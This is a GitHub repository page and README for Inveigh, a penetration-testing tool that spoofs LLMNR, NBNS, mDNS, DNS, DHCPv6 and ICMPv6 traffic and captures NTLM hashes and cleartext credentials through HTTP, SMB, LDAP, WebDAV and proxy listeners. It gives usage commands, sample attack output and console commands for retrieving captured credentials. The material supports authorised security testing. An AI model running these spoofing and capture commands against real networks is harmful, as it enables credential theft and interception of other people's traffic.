Sign in

Kevin-Robertson / **Inveigh** Public

Notifications | Fork 444 | Star 2.5k

Code | Issues 19 | Pull requests 1 | Actions | Projects | Wiki | Security | Insigh

master | Go to file | Code

- .github/workflows
- Inveigh
- .gitattributes
- .gitignore
- Inveigh-Relay.ps1
- Inveigh.ps1
- Inveigh.psd1
- Inveigh.psm1
- Inveigh.sln
- LICENSE
- README.md

README | BSD-3-Clause license

# Inveigh

## About

.NET IPv4/IPv6 machine-in-the-middle tool for penetration testers

- Readme
- BSD-3-Clause license
- Activity
- 2.5k stars
- 113 watching
- 444 forks

Report repository

## Releases 17

Inveigh v2.0.11 Latest
on Aug 6

+ 16 releases

## Packages

No packages published

## Contributors 5

## Languages

Inveigh is a cross-platform .NET IPv4/IPv6 machine-in-the-middle tool for penetration testers. This repo contains the primary C# version as well as the legacy PowerShell version.

## Overview

Inveigh conducts spoofing attacks and hash/credential captures through both packet sniffing and protocol specific listeners/sockets. The packet sniffing method, which was the basis for the original PowerShell version of this tool, has the following advantages:

- SMB NTLM challenge/response captures over the Window's SMB service
- Fewer visible port binds on the host system

The primary disadvantage is the required elevated access.

On current versions of Windows, the default running UDP services allow port reuse. Therefore, packet sniffing no longer provides an advantage for getting around in-use UDP ports. Inveigh's UDP listeners are all configured to take advantage of port reuse.

### Version Descriptions

- **PowerShell Inveigh** - original version developed over many years. For now at least, this version (1.506) will go without additional updates. Documentation can be found here.
- **C# Inveigh (aka InveighZero)** - original C# POC code combined with a C# port of most of the PowerShell version's code. This version has now been rebuilt for C# and is taking over as the primary version.

### Features

The C# version of Inveigh contains attacks for the following protocols:

● **C#** 51.2% ● **PowerShell** 48.8%

- LLMNR [packet sniffer | listener]
- DNS [packet sniffer | listener]
- mDNS [packet sniffer | listener]
- NBNS [packet sniffer | listener]
- DHCPv6 [packet sniffer | listener]
- ICMPv6 [privileged raw socket]
- HTTP [listener]
- HTTPS [listener]
- SMB [packet sniffer | listener]
- LDAP [listener]
- WebDAV [listener]
- Proxy Auth [listener]

Inveigh works with both IPv4 and IPv6 in cases where support for both is provided by the underlying protocol.

## Cross-Platform Support

Inveigh's SDK style project file is setup for .NET 3.5, 4.6.2, and 6.0 with 6.0 being the version that also works with Linux and macOS.

```
<TargetFrameworks>net35;net62;net6.0</TargetFrameworks>
```

### Known Issues

- The packet sniffer is available only on Windows due to differences in the raw socket setups. When compiled for either Linux or macOS, the packet sniffer will just be disabled. Instead, Inveigh's SMB listener can be used if port 445 is open.
- macOS requires that routes are available for joining multicast groups. In my testing, I've had to add routes for DHCPv6 multicast in order to carry out that attack on this

platform.
`sudo route -nv add -net ff02::1:2 -interface en0`

### Execution

`dotnet Inveigh.dll`

### Linux/macOS Platform Targeted Builds

- With .NET 6.0 installed on target system
  `dotnet publish -r linux-x64 -f net8.0 -p:AssemblyName=inveigh`
  `dotnet publish -r osx-x64 -f net8.0 -p:AssemblyName=inveigh`
- Without .NET 6.0 installed on target system
  `dotnet publish --self-contained=true -p:PublishSingleFile=true -r linux-x64 -f net8.0 -p:AssemblyName=inveigh`
  `dotnet publish --self-contained=true -p:PublishSingleFile=true -r osx-x64 -f net8.0 -p:AssemblyName=inveigh`

## Usage

Default parameter values are located at the beginning of Program.cs. I recommend reviewing and setting everything to fit your needs before compile. All enable/disable parameters can be set with `Y/N` values.

```
    //begin parameters - set defaults as needed
    public static string argCert = "MIIKaQIBAzC
    public static string argCertPassword = "pas
    public static string argChallenge = "";
    public static string argConsole = "5";
    public static string argConsoleLimit = "-1"
    public static string argConsoleStatus = "0"
    public static string argConsoleUnique = "Y"
    public static string argDHCPv6 = "N";
    public static string argDHCPv6TTL = "30";
    public static string argDNS = "Y";
    ...
    //end parameters
```

## Parameter Help

```
.\Inveigh.exe -?

Control:

  -Inspect        Default=Disabled: (Y/N) inspe

  -IPv4           Default=Enabled: (Y/N) IPv4 s

  -IPv6           Default=Enabled: (Y/N) IPv6 s

  -RunCount       Default=Unlimited: Number of

  -RunTime        Default=Unlimited: Run time d


Output:

  -Console        Default=5: Set the level for

  -ConsoleLimit   Default=Unlimited: Limit to q

  -ConsoleStatus  Default=Disabled: Interval in

  -ConsoleUnique  Default=Enabled: (Y/N) displa

  -FileDirectory  Default=Working Directory: Va

  -FileOutput     Default=Enabled: (Y/N) real t

  -FilePrefix     Default=Inveigh: Prefix for a

  -FileUnique     Default=Enabled: (Y/N) output

  -LogOutput      Default=Disabled: (Y/N) outpu


Spoofers:
  -DHCPV6         Default=Disabled: (Y/N) DHCPv

  -DHCPv6TTL      Default=300: Lease lifetime i

  -DNS            Default=Enabled: (Y/N) DNS sp

  -DNSHost        Fully qualified hostname to u

  -DNSSRV         Default=LDAP: Comma separated

  -DNSSuffix      DNS search suffix to include 

  -DNSTTL         Default=30: DNS TTL in second

  -DNSTYPES       Default=A: (A, AAAA, SOA, SRV

  -ICMPv6         Default=Enabled: (Y/N) sendin

  -ICMPv6Interval Default=200: ICMPv6 RA interv

  -ICMPv6TTL      Default=300: ICMPv6 TTL in se

  -IgnoreDomains  Default=None: Comma separated



  -IgnoreIPs      Default=Local: Comma separate

  -IgnoreMACs     Default=Local: Comma separate

  -IgnoreQueries  Default=None: Comma separated

  -Local          Default=Disabled: (Y/N) perfo

  -LLMNR          Default=Enabled: (Y/N) LLMNR 

  -LLMNRTTL       Default=30: LLMNR TTL in seco

  -MAC            Local MAC address for DHCPv6.

  -MDNS           Default=Enabled: (Y/N) mDNS s

  -MDNSQuestions  Default=QU,QM: Comma separate

  -MDNSTTL        Default=120: mDNS TTL in seco
```

```
  -MDNSTypes      Default=A: Comma separated lis

  -MDNSUnicast    Default=Enabled: (Y/N) sending

  -NBNS           Default=Disabled: (Y/N) NBNS s

  -NBNSTTL        Default=165: NBNS TTL in secon

  -NBNSTypes      Default=00,20: Comma separated

  -ReplyToDomains Default=All: Comma separated l

  -ReplyToIPs     Default=All: Comma separated l

  -ReplyToMACs    Default=All: Comma separated l

  -ReplyToQueries Default=All: Comma separated l

  -SpooferIP      Default=Autoassign: IP address

  -SpooferIPv6    Default=Autoassign: IPv6 addre

  -Repeat         Default=Enabled: (Y/N) repeate


Capture:

  -Cert           Base64 certificate for TLS.

  -CertPassword   Base64 certificate password fo

  -Challenge      Default=Random per request: 16

  -HTTP           Default=Enabled: (Y/N) HTTP li

  -HTTPAuth       Default=NTLM: (Anonymous/Basic

  -HTTPPorts      Default=80: Comma seperated li

  -HTTPRealm      Default=ADFS: Basic authentica

  -HTTPResponse   Content to serve as the defaul

  -HTTPS          Default=Enabled: (Y/N) HTTPS l

  -HTTPSPorts     Default=443: Comma separated l
  -IgnoreAgents   Default=Firefox: Comma separa

  -LDAP           Default=Enabled: (Y/N) LDAP l

  -LDAPPorts      Default=389: Comma separated

  -ListenerIP     Default=Any: IP address for a

  -ListenerIPv6   Default=Any: IPv6 address for

  -MachineAccount Default=Enabled: (Y/N) machin

  -Proxy          Default=Disabled: (Y/N) proxy

  -ProxyAuth      Default=NTLM: (Basic/NTLM) Pr

  -ProxyPort      Default=8492: Port for the pr

  -SMB            Default=Enabled: (Y/N) SMB sn

  -SMBPorts       Default=445: Port for the SMB

  -SnifferIP      Default=Autoassign: IP addres

  -SnifferIPv6    Default=Autoassign: IPv6 addr

  -WebDAV         Default=Enabled: (Y/N) servin

  -WebDAVAuth     Default=NTLM: (Anonymous/Basi

  -WPADAuth       Default=Enabled: (Y/N) authen

  -WPADResponse   Default=Autogenerated: Conten
```

## Default (autodetect local IPs)

```
.\Inveigh.exe
[*] Inveigh 2.0 [Started 2021-06-15T00:08:37 |
[+] Packet Sniffer Addresses [IP 10.10.2.111 |
[+] Listener Addresses [IP 0.0.0.0 | IPv6 ::]
[+] Spoofer Reply Addresses [IP 10.10.2.111 | I
[+] Spoofer Options [Repeat Enabled | Local Att
[-] DHCPv6
```

```
[+] DNS Packet Sniffer [Type A]
[-] ICMPv6
[+] LLMNR Packet Sniffer [Type A]
[-] MDNS
[-] NBNS
[+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTL
[-] HTTPS
[+] WebDAV [WebDAVAuth NTLM]
[-] Proxy
[+] LDAP Listener [Port 389]
[+] SMB Packet Sniffer [Port 445]
[+] File Output [C:\Users\dev\source\repos\Inve
[+] Previous Session Files [Imported]
[*] Press ESC to enter/exit interactive console
```

## Listener Only Mode (disabled packet sniffer)

```
.\Inveigh.exe -sniffer n
[*] Inveigh 2.0 [Started 2021-06-14T10:48:16 |
[-] Packet Sniffer
[+] Listener Addresses [IP 0.0.0.0 | IPv6 ::]
[+] Spoofer Reply Addresses [IP 10.10.2.111 | I
[+] Spoofer Options [Repeat Enabled | Local Att
[-] DHCPv6
[+] DNS Listener [Type A]
[-] ICMPv6
[+] LLMNR Listener [Type A]
[-] MDNS
[-] NBNS
[+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTL
[-] HTTPS
[+] WebDAV [WebDAVAuth NTLM]
[-] Proxy
[+] LDAP Listener [Port 389]
[+] SMB Listener [Port 445]
[+] File Output [C:\Users\dev\source\repos\Inve
[+] Previous Session Files [Imported]
[*] Press ESC to enter/exit interactive console
[!] Failed to start SMB listener on port 445, c
[!] Failed to start SMB listener on port 445, c
```

Note, with the packet sniffer disabled, Inveigh will attempt to start SMB listeners for IPv4 and IPv6. On most windows systems, port 445 will already be in use. Either ignore error or add `-smb n`.

## DHCPv6

Start DHCPv6 spoofer and IPv6 DNS spoofer. Note, DNS is on by default.

```
.\Inveigh.exe -dhcpv6 y
...
[+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53]
[+] DNS Listener [Type A]
...
[+] [23:03:06] DHCPv6 [solicitation] from fe80:
[+] [23:03:06] DHCPv6 [fe80::1348:1] advertised
[+] [23:03:06] DHCPv6 [request] from fe80::bd92
[+] [23:03:06] DHCPv6 [fe80::1348:1] leased to
```

Start DHCPv6 spoofer and spoof DNS requests for internal domain only.

```
.\Inveigh.exe -dhcpv6 y -replytodomains lab.inv
...
[+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53]
[+] DNS Listener [Type A]
...
[-] [23:10:30] DNS(A) request [test.inveigh.org
[+] [23:10:33] DNS(A) request [wpad.lab.inveigh
```

Start DHCPv6 spoofer and also send out ICMPv6 RA packets.

```
.\Inveigh.exe -dhcpv6 y -icmpv6 y
...
[+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53]
[+] DNS Listener [Type A]
[+] ICMPv6 Router Advertisement [Interval 200 S
...
[+] [23:12:04] ICMPv6 router advertisment sent
```

Start DHCPv6 spoofer and answer requests from the local host.

```
.\Inveigh.exe -dhcpv6 y -local y
...
[+] Spoofer Options [Repeat Enabled | Local Att
[+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53]
```

## DNS

Spoof SRV requests in addition to A.

```
.\Inveigh.exe -dnstypes A,SRV -dnshost fake.lab
...
[+] DNS Listener [Types A:SRV]
...
[+] [23:21:05] DNS(SRV) request [_ldap._tcp.dc._
```

## ICMPv6

Send ICMPv6 packets to inject a secondary IPv6 DNS server on local subnet systems.

```
.\Inveigh.exe -icmpv6 y
...
[+] ICMPv6 Router Advertisement [Option DNS | I
...
[+] [23:35:46] ICMPv6 router advertisement with
```

Send ICMPv6 packets to inject an additional DNS search suffix on local subnet systems.

```
.\Inveigh.exe -icmpv6 y -dnssuffix inveigh.net
...
[+] ICMPv6 Router Advertisement [Option DNS Suf
...
[+] [23:41:17] ICMPv6 router advertisement with
```

## LLMNR

Spoof AAAA requests instead of A.

```
.\Inveigh.exe -llmnrtypes AAAA
...
[+] LLMNR Listener [Type AAAA]
...
[-] [23:23:38] LLMNR(A) request [test] from fe8
[-] [23:23:38] LLMNR(A) request [test] from 10.
[+] [23:23:38] LLMNR(AAAA) request [test] from
[+] [23:23:38] LLMNR(AAAA) request [test] from
```

## mDNS

Start mDNS spoofer and send unicast responses to QM requests.

```
.\Inveigh.exe -mdns y
...
[+] MDNS Listener [Questions QU:QM | Type A]
...
[+] [23:25:58] mDNS(QM)(A) request [test.local]
[+] [23:25:58] mDNS(QM)(A) request [test.local]
[-] [23:25:58] mDNS(QM)(AAAA) request [test.loca
[-] [23:25:58] mDNS(QM)(AAAA) request [test.loca
```

Start mDNS spoofer and send multicast responses to QM requests.

```
.\Inveigh.exe -mdns y -mdnsunicast n
...
[+] MDNS Listener [Questions QU:QM | Type A]
...
[+] [23:28:26] mDNS(QM)(A) request [test.local]
[+] [23:28:26] mDNS(QM)(A) request [test.local]
```

## NBNS

Start NBNS spoofer

```
.\Inveigh.exe -nbns y
...
```

```
[+] NBNS Listener [Types 00:20]
...
[+] [23:33:09] NBNS(00) request [TEST] from 10.1
```

## HTTP

Start HTTP listener on port 80 (enabled by default)

```
.\Inveigh.exe
...
[+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTL
...
```

Start HTTP listeners on multiple ports

```
.\Inveigh.exe -httpports 80,8080
...
[+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTL
...
```

## HTTPS

Start HTTPS listener on port 443 with Inveigh's default cert

```
.\Inveigh.exe -https y
...
[+] HTTPS Listener [HTTPAuth NTLM | WPADAuth NT
...
```

## SMB

Start SMB packet sniffer (enabled by default)

```
.\Inveigh.exe
...
[+] SMB Packet Sniffer [Port 445]
...
```

Start SMB listener on port 445

```
.\Inveigh.exe -sniffer n
...
[+] SMB Listener [Port 445]
...
```

### LDAP

Start LDAP listener on port 389

```
.\Inveigh.exe
...
[+] LDAP Listener [Port 389]
...
```

### WebDAV

Start the HTTP listener with WebDAV support (enabled by default)

```
.\Inveigh.exe
...
[+] WebDAV [WebDAVAuth NTLM]
...
```

### Proxy Auth

Enable proxy auth capture on port 8492

```
.\Inveigh.exe -proxy y
...
[+] Proxy Listener [ProxyAuth NTLM | Port 8492]
...
```

## Console

Inveigh contains a console that is accessible while the tool is running (hit escape to enter and exit). The console provides easy access to captured credentials/hashes and other various information. The console's prompt provides real-time updates for cleartext, NTLMv1, and NTLMv2 captue counts in the format of unique:total. Note, the console may be inaccessible when running through C2.

## Interactive Console Help - enter ? or HELP

```
===============================================

Command                           Description
================================================
GET CONSOLE                     | get queued co
GET DHCPv6Leases                | get DHCPv6 as
GET LOG                         | get log entri
GET NTLMV1                      | get captured
GET NTLMV2                      | get captured
GET NTLMV1UNIQUE                | get one captu
GET NTLMV2UNIQUE                | get one captu
GET NTLMV1USERNAMES             | get usernames
GET NTLMV2USERNAMES             | get usernames
GET CLEARTEXT                   | get captured
GET CLEARTEXTUNIQUE             | get unique ca
GET REPLYTODOMAINS              | get ReplyToDo
GET REPLYTOIPS                  | get ReplyToIP
GET REPLYTOMACS                 | get ReplyToMA
GET REPLYTOQUERIES              | get ReplyToQu
GET IGNOREDOMAINS               | get IgnoreDom
GET IGNOREIPS                   | get IgnoreIPs
GET IGNOREMACS                  | get IgnoreMAC
GET IGNOREQUERIES               | get IgnoreQue
SET CONSOLE                     | set Console p
HISTORY                         | get command h
RESUME                          | resume real t
STOP                            | stop Inveigh
```

## Interactive Console Prompt

The console prompt contains real time capture counts.

```
C(0:0) NTLMv1(0:0) NTLMv2(0:0)>
```

Cleartext(unique:total) NTLMv1(unique:total) NTLMv2(unique:total)

## Quiddity

The protocol library used by Inveigh is located here.

## Special Thanks